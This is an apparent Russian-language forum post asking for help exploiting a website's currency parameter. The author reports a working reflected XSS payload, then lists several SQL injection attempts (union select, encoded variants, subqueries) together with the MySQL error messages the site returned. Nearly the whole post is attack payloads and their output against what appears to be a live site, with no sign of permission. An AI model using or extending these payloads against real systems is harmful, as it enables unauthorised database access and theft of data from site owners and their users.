Помогите разобраться!
Запрос такой
?cu=TT<script>alert('ok')</script>
вылитело окно -- ок

На странице появилось
Error in query
SELECT qnty_ FROM currency WHERE crncy='TT' ORDER BY date_ DESC LIMIT 1
1064: You have an error in your SQL syntax near 'ok')' ORDER BY date_ DESC LIMIT 1' at line 1

Вот мучаю скуль и никак пройти в перед не могу.
через order+by показывает 1 поле.

?cu=TT%27+union+select+111/*
You have an error in your SQL syntax near 'union select 111/*' ORDER BY date_ DESC LIMIT 1' at line 1

?cu=TT%27%2520union%2520select%2520null/*
Unknown column '20union' in 'where clause'

?cu=TT%27+and+(select+111)/*
You have an error in your SQL syntax near 'select 111)/*' ORDER BY date_ DESC LIMIT 1' at line 1